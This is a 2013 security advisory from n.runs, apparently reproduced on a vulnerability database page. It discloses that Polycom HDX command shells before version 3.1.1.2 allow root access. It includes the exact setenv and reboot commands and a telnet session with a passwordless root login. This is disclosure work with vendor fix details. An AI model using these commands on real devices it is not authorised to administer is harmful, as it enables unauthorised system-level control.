Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:29196
HistoryMar 19, 2013 - 12:00 a.m.

n.runs-SA-2013.001 - Polycom - Command Shell Grants System-Level Access

2013-03-1900:00:00
vulners.com
24

n.runs AG
http://www.nruns.com/
security(at)nruns.com
n.runs-SA-2013.001 15-Mar-2013


Vendor: Polycom, http://www.polycom.com
Affected Products: Polycom HDX Series
Affected Version: < 3.1.1.2
Vulnerability: Polycom Command Shell Grants System-Level Access
Risk: LOW


Overview:

The Polycom Command Shell is a command-line based administrative interface
to the Polycom HDX system. It can be accessed either via a RS-232 serial
connection or via telnet on port 23.

Description:

The Polycom Command Shell can be used to view and also change several
settings of the system. However it can also be used to get system-level
access (i.e. root access) to the HDX system. The "printenv" and "setenv"
commands can be used to read and write variables respectively which are
stored in flash memory.

The easiest way to get root access to the HDX system is to enable the
"development mode" of the system which will then enable a telnet server
where a root login without a password is possible. In order to enable
the development mode, the "devboot" U-Boot environment variable must
be set. This can be done through the Polycom Command Shell with the
following commands:

$ cu -l ttyUSB0 -s 9600
-&gt; setenv othbootargs &quot;devboot=bogus&quot;
-&gt; reboot
reboot, are you sure? &lt;y,n&gt; y

This will reboot the system and enable a telnet server where a login as
root is possible.

$ telnet 192.168.0.218
Trying 192.168.0.218...
Connected to 192.168.0.218.
Escape character is &#39;^]&#39;.

hdx7000.lan login: root
## Error: &quot;vidoutsize&quot; not defined
# id
uid=0&#40;root&#41; gid=0&#40;root&#41;
# uname -a
Linux hdx7000.lan 2.6.18.1.p2.14 #1 PREEMPT Wed Feb 3 10:25:31 CST 2010

ppc unknown
#

Impact:

Someone with legitimate access to the Polycom Command Shell can get
direct system-level access to the underlying embedded Linux system.
This can be used to further analyze the system.

Solution:

Polycom released version 3.1.1.2 of the HDX software which fixes this
issue. It can be downloaded from the Polycom Support page at
http://support.polycom.com.


Credit:
Bug found by Moritz Jodeit of n.runs AG.


Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact
[email protected] for permission. Use of the advisory constitutes
acceptance for use in an "as is" condition. All warranties are excluded.
In no event shall n.runs be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages, even if n.runs has been advised of the possibility of
such damages.

Copyright 2013 n.runs AG. All rights reserved. Terms of use apply.